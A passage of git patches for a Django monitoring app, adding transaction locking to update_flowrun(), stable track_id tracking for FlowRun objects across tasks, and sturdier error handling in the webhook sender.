+    # get reports scoped to site if checks passed
+    if site_id:
+        if not Site.objects.filter(id=site_id, account=account).exists():
+            data = {'reason': 'site not found'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        site = Site.objects.get(id=site_id)
+        reports = Report.objects.filter(site=site, account=account).order_by('-time_created')
 
     # get reports scoped to user if checks passed
-    if page_id is None and report_id is None:
+    if site_id is None and report_id is None:
         reports = Report.objects.filter(user=request.user).order_by('-time_created')
 
     # filter out all non permissioned sites
@@ -4836,7 +4891,6 @@ def get_report(request: object=None, id: str=None) -> object:
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
 
     # check account and resource
     check_data = check_permissions_and_usage(

From 5dbe703911b794bd12a8fde114a425feca0ccd4a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 11 Apr 2026 15:36:36 -0500
Subject: [PATCH 1096/1099] fix: adding transaction lock for `update_flowrun()`

---
 app/api/utils/updater.py | 269 ++++++++++++++++++++-------------------
 1 file changed, 135 insertions(+), 134 deletions(-)

diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
index 59bfe72e..33db558c 100644
--- a/app/api/utils/updater.py
+++ b/app/api/utils/updater.py
@@ -1,5 +1,6 @@
 from ..models import *
 from django.utils import timezone
+from django.db import transaction
 from cursion import settings
 
 
@@ -29,141 +30,141 @@ def update_flowrun(**kwargs) -> object:
     message = kwargs.get('message')
     objects = kwargs.get('objects')
 
-    # get flowrun
-    flowrun = FlowRun.objects.get(id=flowrun_id)
-
-    # set timestamp
-    timestamp = timezone.now().strftime('%Y-%m-%d %H:%M:%S.%f')
-
-
-    # find flowrun.edge by target
-    def get_edge_by_target(target: str=None) -> dict:
-        # defaults
-        edge = None
-        index = 0
-        # find target
-        for e in flowrun.edges:
-            if e['target'] == target:
-                edge = e
-                break
-            index+=1
-        # return data
-        return {
-            'index': index,
-            'edge': edge
-        }
-
-
-    # update object_list
-    def add_or_update_objects(object_list, objects):
-        i = 0
-        # find obj
-        for obj in objects:
-            exists = False
-            j = 0
-            for o in object_list:
-                if obj['parent'] == o['parent']:
-                    exists = True
-                    # update
-                    object_list[j] = obj
+    with transaction.atomic():
+        # lock the row so concurrent workers cannot read-modify-write
+        # stale copies of nodes/edges/logs.
+        flowrun = FlowRun.objects.select_for_update().get(id=flowrun_id)
+
+        # set timestamp
+        timestamp = timezone.now().strftime('%Y-%m-%d %H:%M:%S.%f')
+
+        # find flowrun.edge by target
+        def get_edge_by_target(target: str=None) -> dict:
+            # defaults
+            edge = None
+            index = 0
+            # find target
+            for e in flowrun.edges:
+                if e['target'] == target:
+                    edge = e
                     break
-                j+=1
-            # add
-            if not exists:
-                object_list.append(obj) 
-            i+=1
-        return object_list
-
-
-    # check if all objects are complete
-    def objects_are_complete(object_list):
-        if len(object_list) == 0:
+                index+=1
+            # return data
+            return {
+                'index': index,
+                'edge': edge
+            }
+
+        # update object_list
+        def add_or_update_objects(object_list, objects):
+            i = 0
+            # find obj
+            for obj in objects:
+                exists = False
+                j = 0
+                for o in object_list:
+                    if obj['parent'] == o['parent']:
+                        exists = True
+                        # update
+                        object_list[j] = obj
+                        break
+                    j+=1
+                # add
+                if not exists:
+                    object_list.append(obj) 
+                i+=1
+            return object_list
+
+        # check if all objects are complete
+        def objects_are_complete(object_list):
+            if len(object_list) == 0:
+                return True
+            for obj in object_list:
+                if obj['status'] == 'working':
+                    return False
             return True
-        for obj in object_list:
-            if obj['status'] == 'working':
-                return False
-        return True
-
 
-    # get collective status of  
-    def get_step_status(object_list):
-        statuses = [obj['status'] for obj in object_list]
-        if len(object_list) == 0:
+        # get collective status of  
+        def get_step_status(object_list):
+            statuses = [obj['status'] for obj in object_list]
+            if len(object_list) == 0:
+                return 'passed'
+            if 'working' in statuses:
+                return 'working'
+            if 'failed' in statuses and 'working' not in statuses:
+                return 'failed'
             return 'passed'
-        if 'working' in statuses:
-            return 'working'
-        if 'failed' in statuses and 'working' not in statuses:
-            return 'failed'
-        return 'passed'
-    
-
-    # update flowrun logs, nodes, & edges
-    nodes = flowrun.nodes
-    edges = flowrun.edges
-    logs = flowrun.logs
-
-
-    if node_index is not None:
-        # get node object_list
-        object_list = nodes[int(node_index)]['data'].get('objects', [])
-
-        # update object_list if objects
-        if objects:
-            object_list = add_or_update_objects(object_list, objects)
-            nodes[int(node_index)]['data']['objects'] = object_list
-
-        # if node_status is provided
-        if node_status:
-            nodes[int(node_index)]['data']['status'] = node_status
-            if node_status != 'working':
-                nodes[int(node_index)]['data']['time_completed'] = timestamp
-
-        # decide on node status if 'node_status' not provided
-        if not node_status:
-            complete = objects_are_complete(object_list)
-            nodes[int(node_index)]['data']['status'] = get_step_status(object_list) if complete else 'working'
-            nodes[int(node_index)]['data']['time_completed'] = timestamp if complete else None
-            
-        # update current edge if not at flowrun start
-        if int(node_index) != 0:
-            edge_index = get_edge_by_target(target=nodes[int(node_index)]['id'])['index']
-            edges[edge_index]['animated'] = True if nodes[int(node_index)]['data']['status'] == 'working' else False
-            edges[edge_index]['style'] = {'stroke': "#60a5fa"} if nodes[int(node_index)]['data']['status'] == 'working' else None
-
-    # added messages to logs
-    if message:
-
-        # loop through multiple messages if passed:
-        for msg in message.split(','):
-            
-            # check for empty string
-            if msg and len(msg) > 0:
-
-                # update current logs
-                logs.append({
-                    'timestamp': timestamp,
-                    'message': msg,
-                    'step': nodes[int(node_index)]['id'] if node_index else logs[-1]['step']
-                })
-
-                # sort new logs
-                logs = sorted(logs, key=lambda l: (int(l['step'])))
-
-
-    # save updates
-    flowrun.nodes = nodes
-    flowrun.edges = edges
-    flowrun.logs = logs
-    flowrun.save()
-
-    # run_next() should execute for updater-driven changes.
-    # keep this explicit so progression does not rely solely on signal timing.
-    if settings.LOCATION == 'us':
-        try:
-            from .flowr import Flowr
-            Flowr(flowrun_id=str(flowrun.id)).run_next()
-        except Exception as e:
-            print(f'[update_flowrun] run_next trigger error: {e}')
-
-    # return updated flowrun
-    return flowrun
+        
+        # update flowrun logs, nodes, & edges
+        nodes = flowrun.nodes
+        edges = flowrun.edges
+        logs = flowrun.logs
+
+        if node_index is not None:
+            # get node object_list
+            object_list = nodes[int(node_index)]['data'].get('objects', [])
+
+            # update object_list if objects
+            if objects:
+                object_list = add_or_update_objects(object_list, objects)
+                nodes[int(node_index)]['data']['objects'] = object_list
+
+            # if node_status is provided
+            if node_status:
+                nodes[int(node_index)]['data']['status'] = node_status
+                if node_status != 'working':
+                    nodes[int(node_index)]['data']['time_completed'] = timestamp
+
+            # decide on node status if 'node_status' not provided
+            if not node_status:
+                complete = objects_are_complete(object_list)
+                nodes[int(node_index)]['data']['status'] = get_step_status(object_list) if complete else 'working'
+                nodes[int(node_index)]['data']['time_completed'] = timestamp if complete else None
+                
+            # update current edge if not at flowrun start
+            if int(node_index) != 0:
+                edge_index = get_edge_by_target(target=nodes[int(node_index)]['id'])['index']
+                edges[edge_index]['animated'] = True if nodes[int(node_index)]['data']['status'] == 'working' else False
+                edges[edge_index]['style'] = {'stroke': "#60a5fa"} if nodes[int(node_index)]['data']['status'] == 'working' else None
+
+        # added messages to logs
+        if message:
+
+            # loop through multiple messages if passed:
+            for msg in message.split(','):
+                
+                # check for empty string
+                if msg and len(msg) > 0:
+
+                    # update current logs
+                    logs.append({
+                        'timestamp': timestamp,
+                        'message': msg,
+                        'step': nodes[int(node_index)]['id'] if node_index else logs[-1]['step']
+                    })
+
+                    # sort new logs
+                    logs = sorted(logs, key=lambda l: (int(l['step'])))
+
+        # save updates while holding the row lock
+        flowrun.nodes = nodes
+        flowrun.edges = edges
+        flowrun.logs = logs
+        flowrun.save()
+
+        # run_next() should execute for updater-driven changes.
+        # keep this explicit so progression does not rely solely on signal timing.
+        if settings.LOCATION == 'us':
+            flowrun_id_str = str(flowrun.id)
+
+            def _run_next():
+                try:
+                    from .flowr import Flowr
+                    Flowr(flowrun_id=flowrun_id_str).run_next()
+                except Exception as e:
+                    print(f'[update_flowrun] run_next trigger error: {e}')
+
+            transaction.on_commit(_run_next)
+
+        # return updated flowrun
+        return flowrun

From 76c36b7a4032f0710d9c921c38d648da434a250b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 11 Apr 2026 16:34:38 -0500
Subject: [PATCH 1097/1099] fix: new data mutation fixes for `FlowRuns`

---
 app/api/tasks.py         | 262 ++++++++++++++++++++++++++-------------
 app/api/utils/alerts.py  |  46 +++++--
 app/api/utils/flowr.py   |  11 +-
 app/api/utils/scanner.py |  21 +++-
 app/api/utils/updater.py |  77 +++++++++---
 5 files changed, 302 insertions(+), 115 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 175a4741..f127fa79 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -49,6 +49,30 @@
 logger = get_task_logger(__name__)
 
 
+def _flow_obj(
+        parent: str=None,
+        obj_id: str=None,
+        status: str='working',
+        track_id: str=None,
+        source_id: str=None
+    ) -> dict:
+    """
+    Build a normalized FlowRun object payload.
+    """
+
+    _id         = str(obj_id) if obj_id is not None else None
+    _source_id  = str(source_id) if source_id is not None else _id
+    _track_id   = str(track_id) if track_id is not None else (_id if _id is not None else secrets.token_hex(16))
+    _parent     = str(parent) if parent is not None else None
+
+    return {
+        'parent': _parent,
+        'id': _id,
+        'source_id': _source_id,
+        'track_id': _track_id,
+        'status': status
+    }
+
 
 # setting s3 instance
 def s3():
@@ -319,6 +343,7 @@ def redeliver_failed_tasks() -> None:
         alert_id        = None
         flowrun_id      = None
         node_index      = None
+        track_id        = None
         queue           = None
         components      = []
         for task in (scan.system or {}).get('tasks', []):
@@ -344,6 +369,7 @@ def redeliver_failed_tasks() -> None:
             alert_id    = task['kwargs'].get('alert_id')    or alert_id
             flowrun_id  = task['kwargs'].get('flowrun_id')  or flowrun_id
             node_index  = task['kwargs'].get('node_index')  or node_index 
+            track_id    = task['kwargs'].get('track_id')    or track_id
             queue = get_task_queue(kwargs=task.get('kwargs') or {}) or queue
             
             # re-run task if task is not "running", "pending", 
@@ -380,6 +406,16 @@ def redeliver_failed_tasks() -> None:
             if test_id:
                 logger.info(f'executing run_test() from `post_scan` in `retry_tasks`')
                 queue = queue or get_task_queue(kwargs={'_queue': None})
+
+                # preserve object identity for FlowRun merging
+                if track_id is None:
+                    try:
+                        _test = Test.objects.get(id=test_id)
+                        _task_kwargs = (((_test.system or {}).get('tasks') or [{}])[0].get('kwargs') or {})
+                        track_id = _task_kwargs.get('track_id') or str(test_id)
+                    except Exception:
+                        track_id = str(test_id)
+
                 apply_async_in_queue(
                     run_test,
                     kwargs={
@@ -387,6 +423,7 @@ def redeliver_failed_tasks() -> None:
                         'alert_id': alert_id,
                         'flowrun_id': flowrun_id,
                         'node_index': node_index,
+                        'track_id': track_id,
                         '_queue': queue,
                     },
                     queue=queue,
@@ -439,6 +476,7 @@ def redeliver_failed_tasks() -> None:
             kwargs      = first_task.get('kwargs') or {}
             flowrun_id  = kwargs.get('flowrun_id')
             node_index  = kwargs.get('node_index')
+            track_id    = kwargs.get('track_id') or str(test.id)
             
             # update FlowRun if present
             if flowrun_id and flowrun_id != 'None':
@@ -449,11 +487,13 @@ def redeliver_failed_tasks() -> None:
                         f'test for {test.page.page_url} completed with status: '+
                         f'⏺️ INCOMPLETE | test_id: {str(test.id)}'
                     ),
-                    'objects': [{
-                        'parent': str(test.page.id),
-                        'id': str(test.id),
-                        'status': 'incomplete'
-                    }]
+                    'objects': [_flow_obj(
+                        parent=str(test.page.id),
+                        obj_id=str(test.id),
+                        source_id=str(test.id),
+                        track_id=track_id,
+                        status='incomplete'
+                    )]
                 })
 
         # iterate through each FlowRun 
@@ -1112,11 +1152,13 @@ def create_scan_bg(self, **kwargs) -> None:
                 page.site.save()
 
                 # adding objects
-                objects.append({
-                    'parent': str(scan.page.id),
-                    'id': str(scan.id),
-                    'status': 'working'
-                })
+                objects.append(_flow_obj(
+                    parent=str(scan.page.id),
+                    obj_id=str(scan.id),
+                    source_id=str(scan.id),
+                    track_id=str(scan.id),
+                    status='working'
+                ))
 
                 # init scan page in background
                 apply_async_in_queue(
@@ -1477,6 +1519,7 @@ def run_test(
         alert_id: str=None,
         flowrun_id: str=None,
         node_index: str=None ,
+        track_id: str=None,
         **kwargs
     ) -> None:
     """ 
@@ -1498,6 +1541,7 @@ def run_test(
         alert_id = kwargs.get('alert_id')
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
+        track_id = kwargs.get('track_id')
 
     account_id = _get_account_id_from_test_id(str(test_id)) if test_id else None
     with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
@@ -1528,7 +1572,8 @@ def run_test(
                     'test_id': str(test_id), 
                     'alert_id': str(alert_id) if alert_id is not None else None,
                     'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-                    'node_index': str(node_index) if node_index is not None else None
+                    'node_index': str(node_index) if node_index is not None else None,
+                    'track_id': str(track_id) if track_id is not None else None
                 }
             )
 
@@ -1541,11 +1586,13 @@ def run_test(
             test = Test.objects.get(id=test_id)
 
             # define objects for flowrun
-            objects = [{
-                'parent': str(test.page.id),
-                'id': str(test_id),
-                'status': 'working'
-            }]
+            objects = [_flow_obj(
+                parent=str(test.page.id),
+                obj_id=str(test_id),
+                source_id=str(test_id),
+                track_id=track_id or str(test_id),
+                status='working'
+            )]
 
             # update flowrun
             if flowrun_id and flowrun_id != 'None':
@@ -1599,6 +1646,7 @@ def create_test(
         threshold: float=settings.TEST_THRESHOLD,
         flowrun_id: str=None,
         node_index: str=None,
+        track_id: str=None,
         _queue: str=None,
     ) -> None:
     """ 
@@ -1642,11 +1690,13 @@ def create_test(
         )
 
     # adding objects
-    objects.append({
-        'parent': str(page.id),
-        'id': str(created_test.id),
-        'status': 'working'
-    })
+    objects.append(_flow_obj(
+        parent=str(page.id),
+        obj_id=str(created_test.id),
+        source_id=str(created_test.id),
+        track_id=track_id or str(created_test.id),
+        status='working'
+    ))
 
     # create system data for new Scan & Test (may not be used)
     test_system = {
@@ -1656,7 +1706,8 @@ def create_test(
                     "test_id": str(created_test.id), 
                     "alert_id": alert_id, 
                     "flowrun_id": flowrun_id, 
-                    "node_index": node_index
+                    "node_index": node_index,
+                    "track_id": track_id or str(created_test.id)
                 }, 
                 "task_id": f"lock:run_test_{created_test.id}", 
                 "attempts": 0, 
@@ -1829,6 +1880,7 @@ def create_test(
                 'alert_id': alert_id,
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
+                'track_id': track_id or str(created_test.id),
                 '_queue': queue,
             },
             queue=queue,
@@ -1964,11 +2016,14 @@ def create_test_bg(self, **kwargs) -> None:
             # create a test for each page
             for page in pages:
                 
-                objects.append({
-                    'parent': str(page.id),
-                    'id': None,
-                    'status': 'working'
-                })
+                flow_track_id = secrets.token_hex(16)
+                objects.append(_flow_obj(
+                    parent=str(page.id),
+                    obj_id=None,
+                    source_id=str(page.id),
+                    track_id=flow_track_id,
+                    status='working'
+                ))
 
                 # check resource 
                 if check_and_increment_resource(page.account.id, 'tests'):
@@ -2001,6 +2056,7 @@ def create_test_bg(self, **kwargs) -> None:
                         alert_id=str(alert_id),
                         flowrun_id=str(flowrun_id),
                         node_index=node_index,
+                        track_id=flow_track_id,
                         _queue=queue,
                     )
                 
@@ -2071,6 +2127,7 @@ def create_report(
         alert_id: str=None,
         flowrun_id: str=None,
         node_index: str=None,
+        track_id: str=None,
         _queue: str=None,
         **kwargs,
     ) -> None:
@@ -2134,11 +2191,13 @@ def create_report(
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
                 'message': f'report {"created" if resp["success"] else "not created"} for {site.site_url} | report_id: {str(report.id)}',
-                'objects': [{
-                    'parent': str(site.id),
-                    'id': str(report.id),
-                    'status': 'passed' if resp['success'] else 'failed'
-                }]
+                'objects': [_flow_obj(
+                    parent=str(site.id),
+                    obj_id=str(report.id),
+                    source_id=str(report.id),
+                    track_id=track_id or str(report.id),
+                    status='passed' if resp['success'] else 'failed'
+                )]
             })
         
         logger.info('Created new report of site')
@@ -2191,6 +2250,7 @@ def create_report_bg(**kwargs) -> None:
         # setting defaults
         sites = []
         objects = []
+        report_track_map = {}
 
         # get account if account_id exists
         if account_id:
@@ -2248,11 +2308,15 @@ def create_report_bg(**kwargs) -> None:
 
         # record objects for each report
         for site in sites:
-            objects.append({
-                'parent': str(site.id),
-                'id': None,
-                'status': 'working'
-            })
+            report_track_id = secrets.token_hex(16)
+            report_track_map[str(site.id)] = report_track_id
+            objects.append(_flow_obj(
+                parent=str(site.id),
+                obj_id=None,
+                source_id=str(site.id),
+                track_id=report_track_id,
+                status='working'
+            ))
 
         # update flowrun
         if flowrun_id and flowrun_id != 'None':
@@ -2288,6 +2352,7 @@ def create_report_bg(**kwargs) -> None:
                     'alert_id': alert_id,
                     'flowrun_id': flowrun_id,
                     'node_index': node_index,
+                    'track_id': report_track_map.get(str(site.id)),
                     '_queue': queue,
                 },
                 queue=queue,
@@ -2586,11 +2651,13 @@ def create_caserun_bg(**kwargs) -> None:
                     caseruns.append(caserun)
 
                     # add to objects
-                    objects.append({
-                        'parent': str(site.id),
-                        'id': str(caserun.id),
-                        'status': 'working'
-                    })
+                    objects.append(_flow_obj(
+                        parent=str(site.id),
+                        obj_id=str(caserun.id),
+                        source_id=str(caserun.id),
+                        track_id=str(caserun.id),
+                        status='working'
+                    ))
                 
                 else:
                     # update flowrun if not able to contiune
@@ -2914,11 +2981,13 @@ def create_issue_bg(
     # create objects list for flowrun
     obj_list = []
     for o in objects:
-        obj_list.append({
-            'parent': o['id'],
-            'id': None, 
-            'status': 'working'
-        })
+        obj_list.append(_flow_obj(
+            parent=o.get('id'),
+            obj_id=None,
+            source_id=o.get('source_id', o.get('id')),
+            track_id=o.get('track_id'),
+            status='working'
+        ))
     
     # update flowrun if requested
     if flowrun_id and flowrun_id != 'None':
@@ -2937,9 +3006,10 @@ def create_issue_bg(
         time.sleep(random.uniform(2, 6))
 
         # run create_issue
+        source_object_id = obj.get('source_id') or obj.get('id')
         resp = create_issue( 
             account_id=account_id, 
-            object_id=obj['id'], 
+            object_id=source_object_id, 
             title=title, 
             details=details,
             generate=generate
@@ -2951,11 +3021,17 @@ def create_issue_bg(
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
                 'message': resp.get('message'),
-                'objects': [{
-                    'parent': obj['id'],
-                    'id': str(resp.get('issue').id) if resp.get('success') else None, 
-                    'status': 'passed' if resp.get('success') else 'failed'
-                }]
+                'objects': [_flow_obj(
+                    parent=obj.get('id'),
+                    obj_id=str(resp.get('issue').id) if resp.get('success') else None,
+                    source_id=(
+                        str(resp.get('issue').id)
+                        if resp.get('success')
+                        else obj.get('source_id', obj.get('id'))
+                    ),
+                    track_id=obj.get('track_id'),
+                    status='passed' if resp.get('success') else 'failed'
+                )]
             })
 
     logger.info('created issues')
@@ -3668,9 +3744,10 @@ def send_phone_bg(
         time.sleep(random.uniform(2, 6))
 
         # run send_phone
+        source_object_id = obj.get('source_id') or obj.get('id')
         resp = send_phone( 
             account_id=account_id, 
-            object_id=obj['id'], 
+            object_id=source_object_id, 
             phone_number=phone_number, 
             body=body,
         )
@@ -3681,11 +3758,13 @@ def send_phone_bg(
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
                 'message': resp.get('message'),
-                'objects': [{
-                    'parent': obj['parent'],
-                    'id': obj['id'],
-                    'status': 'passed' if resp.get('success') else 'failed'
-                }]
+                'objects': [_flow_obj(
+                    parent=obj.get('parent'),
+                    obj_id=obj.get('id'),
+                    source_id=obj.get('source_id', obj.get('id')),
+                    track_id=obj.get('track_id'),
+                    status='passed' if resp.get('success') else 'failed'
+                )]
             })
 
     logger.info('sent phone message')
@@ -3722,9 +3801,10 @@ def send_slack_bg(
         time.sleep(random.uniform(2, 6))
 
         # run send_slack
+        source_object_id = obj.get('source_id') or obj.get('id')
         resp = send_slack( 
             account_id=account_id, 
-            object_id=obj['id'], 
+            object_id=source_object_id, 
             body=body,
         )
         
@@ -3734,11 +3814,13 @@ def send_slack_bg(
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
                 'message': resp.get('message'),
-                'objects': [{
-                    'parent': obj['parent'],
-                    'id': obj['id'], 
-                    'status': 'passed' if resp.get('success') else 'failed'
-                }]
+                'objects': [_flow_obj(
+                    parent=obj.get('parent'),
+                    obj_id=obj.get('id'),
+                    source_id=obj.get('source_id', obj.get('id')),
+                    track_id=obj.get('track_id'),
+                    status='passed' if resp.get('success') else 'failed'
+                )]
             })
 
     logger.info('sent slack message')
@@ -3777,9 +3859,10 @@ def send_email_bg(
         time.sleep(random.uniform(2, 6))
 
         # run sendgrid_email
+        source_object_id = obj.get('source_id') or obj.get('id')
         resp = sendgrid_email( 
             account_id=account_id, 
-            object_id=obj['id'], 
+            object_id=source_object_id, 
             message_obj=message_obj,
         )
         
@@ -3789,11 +3872,13 @@ def send_email_bg(
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
                 'message': resp.get('message'),
-                'objects': [{
-                    'parent': obj['parent'],
-                    'id': obj['id'], 
-                    'status': 'passed' if resp.get('success') else 'failed'
-                }]
+                'objects': [_flow_obj(
+                    parent=obj.get('parent'),
+                    obj_id=obj.get('id'),
+                    source_id=obj.get('source_id', obj.get('id')),
+                    track_id=obj.get('track_id'),
+                    status='passed' if resp.get('success') else 'failed'
+                )]
             })
 
     logger.info('sent email message')
@@ -3836,14 +3921,21 @@ def send_webhook_bg(
         time.sleep(random.uniform(2, 6))
     
         # run sendgrid_email
-        resp = send_webhook( 
-            account_id=account_id, 
-            object_id=obj['id'], 
-            request_type=request_type,
-            url=url,
-            headers=headers,
-            payload=payload
-        )
+        source_object_id = obj.get('source_id') or obj.get('id')
+        try:
+            resp = send_webhook( 
+                account_id=account_id, 
+                object_id=source_object_id, 
+                request_type=request_type,
+                url=url,
+                headers=headers,
+                payload=payload
+            )
+        except Exception as e:
+            resp = {
+                'success': False,
+                'message': str(e)
+            }
             
         if flowrun_id and flowrun_id != 'None':
             # update flowrun
@@ -3851,11 +3943,13 @@ def send_webhook_bg(
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
                 'message': resp.get('message'),
-                'objects': [{
-                    'parent': obj['parent'],
-                    'id': obj['id'], 
-                    'status': 'passed' if resp.get('success') else 'failed'
-                }]
+                'objects': [_flow_obj(
+                    parent=obj.get('parent'),
+                    obj_id=obj.get('id'),
+                    source_id=obj.get('source_id', obj.get('id')),
+                    track_id=obj.get('track_id'),
+                    status='passed' if resp.get('success') else 'failed'
+                )]
             })
 
     logger.info('sent webhook message')
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 5e2a3776..df38b935 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -1032,10 +1032,20 @@ def send_webhook(
     # get object
     obj = get_obj(object_id)['obj']
 
+    # normalize values to strings before transposition
+    raw_headers = headers if isinstance(headers, str) else json.dumps(headers or {})
+    raw_payload = payload if isinstance(payload, str) else json.dumps(payload or {})
+    raw_url = url if isinstance(url, str) else str(url or '')
+
     # transpose data
-    cleaned_headers = transpose_data(headers, obj, secrets)
-    cleaned_payload = transpose_data(payload, obj, secrets)
-    cleaned_url = transpose_data(url, obj, secrets)
+    cleaned_headers = transpose_data(raw_headers, obj, secrets)
+    cleaned_payload = transpose_data(raw_payload, obj, secrets)
+    cleaned_url = transpose_data(raw_url, obj, secrets)
+
+    # defaults for empty inputs
+    cleaned_headers = cleaned_headers.strip() if cleaned_headers else '{}'
+    cleaned_payload = cleaned_payload.strip() if cleaned_payload else '{}'
+    cleaned_url = cleaned_url.strip() if cleaned_url else ''
 
     # sanitize data
     cleaned_headers = re.sub(r'[\x00-\x1f\x7f]', '', cleaned_headers)
@@ -1045,27 +1055,40 @@ def send_webhook(
     cleaned_headers = re.sub(r'(["}])\s*(?=["{])', r'\1,', cleaned_headers)
     cleaned_payload = re.sub(r'(["}])\s*(?=["{])', r'\1,', cleaned_payload)
     
-    # building json
-    json_payload = json.loads(cleaned_payload) if request_type == 'POST' else {}
-    json_headers = json.loads(cleaned_headers)
-
-    # send the request
     try:
+        # building json
+        json_headers = json.loads(cleaned_headers) if cleaned_headers else {}
+        if not isinstance(json_headers, dict):
+            raise ValueError('webhook headers must decode to a JSON object')
+
+        json_payload = {}
+        if request_type == 'POST':
+            json_payload = json.loads(cleaned_payload) if cleaned_payload else {}
+            if not isinstance(json_payload, dict):
+                raise ValueError('webhook payload must decode to a JSON object')
+
+        # send the request
         if request_type == 'POST':
             response = requests.post(
                 url=cleaned_url, 
                 headers=json_headers,
                 data=json.dumps(json_payload)
-            ).json()
+            )
 
         elif request_type == 'GET':
             response = requests.get(
                 url=cleaned_url, 
                 headers=json_headers
-            ).json()
+            )
+        
+        else:
+            raise ValueError(f'unsupported request_type: {request_type}')
 
         success = True
-        msg = str(response) 
+        try:
+            msg = str(response.json())
+        except Exception:
+            msg = response.text
     
     except Exception as e:
         success = False
@@ -1078,4 +1101,3 @@ def send_webhook(
     return data
 
 
-
diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 8f2c6411..42dbc565 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -506,6 +506,8 @@ def run_next(self) -> None:
                 alert_obj = {
                     'parent': str(self.flowrun_id),
                     'id': str(self.flowrun_id),
+                    'source_id': str(self.flowrun_id),
+                    'track_id': str(self.flowrun_id),
                     'status': 'working'
                 }
                 objs = [alert_obj,] if step_data['node']['data']['task_type'] in self.alert_types else []
@@ -543,7 +545,7 @@ def run_next(self) -> None:
                 
                     # get obj using Alerter
                     obj = Alerter(
-                        object_id=obj_data['id'],
+                        object_id=obj_data.get('source_id', obj_data['id']),
                         task_type=current_data['node']['data']['task_type']
                     ).get_object()
 
@@ -570,12 +572,16 @@ def run_next(self) -> None:
                         true_outcomes.append({
                             'parent'    : str(parentID),
                             'id'        : obj_data['id'],
+                            'source_id' : obj_data.get('source_id', obj_data['id']),
+                            'track_id'  : obj_data.get('track_id', obj_data['id']),
                             'status'    : 'working'
                         })
                     if outcome == False:
                         false_outcomes.append({
                             'parent'    : str(parentID),
                             'id'        : obj_data['id'],
+                            'source_id' : obj_data.get('source_id', obj_data['id']),
+                            'track_id'  : obj_data.get('track_id', obj_data['id']),
                             'status'    : 'working'
                         })
 
@@ -654,7 +660,7 @@ def run_next(self) -> None:
                                     
                                     # get obj using Alerter
                                     obj = Alerter(
-                                        object_id=obj_data['id'],
+                                        object_id=obj_data.get('source_id', obj_data['id']),
                                         task_type=parent['node']['data']['task_type']
                                     ).get_object()
 
@@ -953,4 +959,3 @@ def execute_step(
 
 
 
-
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 25ab604d..b0464545 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -340,10 +340,27 @@ def check_scan_completion(
         update_page_info(scan)
         update_site_info(scan)
 
+        # resolve stable tracking identity when 
+        # this scan is part of a FlowRun
+        track_id = str(scan.id)
+        source_id = str(scan.id)
+        if test_id is not None:
+            source_id = str(test_id)
+            track_id = str(test_id)
+            try:
+                test_obj = Test.objects.get(id=test_id)
+                first_task = ((test_obj.system or {}).get('tasks') or [{}])[0]
+                task_kwargs = first_task.get('kwargs') or {}
+                track_id = str(task_kwargs.get('track_id') or test_id)
+            except Exception:
+                pass
+
         # add scan to objects
         objects = [{
             'parent': str(scan.page.id),
             'id': str(test_id) if test_id else str(scan.id),
+            'source_id': source_id,
+            'track_id': track_id,
             'status': 'working' if test_id else 'passed' 
         }]
 
@@ -386,7 +403,8 @@ def check_scan_completion(
                     'test_id': str(test_id), 
                     'alert_id': str(alert_id) if alert_id is not None else None,
                     'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-                    'node_index': str(node_index) if node_index is not None else None
+                    'node_index': str(node_index) if node_index is not None else None,
+                    'track_id': track_id
                 }
             )
             
@@ -739,4 +757,3 @@ def _yellowlab(
 
 
 
-
diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
index 33db558c..15f8aed7 100644
--- a/app/api/utils/updater.py
+++ b/app/api/utils/updater.py
@@ -20,7 +20,8 @@ def update_flowrun(**kwargs) -> object:
         'node_status'  : str,
         'objects'      : list of dicts
     
-    Returns: `FlowRun` obj
+    Returns:
+        `FlowRun` obj
     """
     
     # get passed kwargs
@@ -55,25 +56,73 @@ def get_edge_by_target(target: str=None) -> dict:
                 'edge': edge
             }
 
+        # object helpers
+        def _clean_str(value):
+            return str(value) if value is not None else None
+
+        def _normalize_object(obj):
+            normalized = dict(obj or {})
+            normalized['parent'] = _clean_str(normalized.get('parent'))
+            normalized['id'] = _clean_str(normalized.get('id'))
+            normalized['source_id'] = _clean_str(
+                normalized.get('source_id', normalized.get('id'))
+            )
+            normalized['track_id'] = _clean_str(normalized.get('track_id'))
+
+            # Transitional defaults while older callers still send legacy shape.
+            if normalized['track_id'] is None:
+                if normalized['id'] is not None:
+                    normalized['track_id'] = normalized['id']
+                elif normalized['source_id'] is not None:
+                    normalized['track_id'] = f'source:{normalized["source_id"]}'
+                elif normalized['parent'] is not None:
+                    normalized['track_id'] = f'legacy:{normalized["parent"]}'
+
+            return normalized
+
+        def _same_object(a, b):
+            # Preferred identity key.
+            if a.get('track_id') and b.get('track_id'):
+                return a['track_id'] == b['track_id']
+            # Transitional fallback for legacy payloads.
+            if a.get('id') and b.get('id'):
+                return a['id'] == b['id']
+            # Final legacy fallback.
+            return a.get('parent') == b.get('parent')
+
         # update object_list
         def add_or_update_objects(object_list, objects):
-            i = 0
-            # find obj
-            for obj in objects:
